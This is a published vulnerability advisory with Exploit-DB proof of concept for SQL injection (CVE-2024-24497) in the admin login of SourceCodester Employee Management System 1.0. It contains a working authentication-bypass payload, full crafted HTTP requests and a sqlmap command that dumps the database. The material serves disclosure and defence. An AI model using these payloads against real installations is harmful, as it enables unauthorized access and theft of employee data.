Employee Management System 1.0 - SQL Injection in Admin Login

vendor:

Employee Management System

by:

Yevhenii Butenko

8.1

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Employee Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: CVE-2024-24497

CPE: a:sourcecodester:employee_management_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Debian

2024

Employee Management System 1.0 – SQL Injection in Admin Login

The vulnerability allows attackers to manipulate SQL queries in the application's database by injecting malicious SQL code through the client-side input fields. Successful exploitation can lead to unauthorized access, data manipulation, administrative actions on the database, file system content retrieval, and potentially executing commands on the operating system.

Mitigation:

To mitigate the SQL Injection vulnerability, input validation and parameterized queries should be implemented in the application. Additionally, enforcing the principle of least privilege and regularly updating the software can help prevent such attacks.

Source

Exploit-DB raw data:

# Exploit Title: Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24497

### SQL Injection:

> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.

### Affected Components:

> /employee_akpoly/Admin/login.php

> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.

![txtusername](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtusername_sqli.png?raw=true)
![txtpassword](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtpassword_sqli.png?raw=true)

### Description:

> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.

## Proof of Concept:

### Manual Exploitation

The payload `' and 1=1-- -` can be used to bypass authentication within admin login page.

```
POST /employee_akpoly/Admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/login.php
Cookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=
```

### SQLMap

Save the following request to `admin_login.txt`:

```
POST /employee_akpoly/Admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

txtusername=admin&txtpassword=password&btnlogin=
```

Use `sqlmap` with `-r` option to exploit the vulnerability:

```
sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump
```

## Recommendations

When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.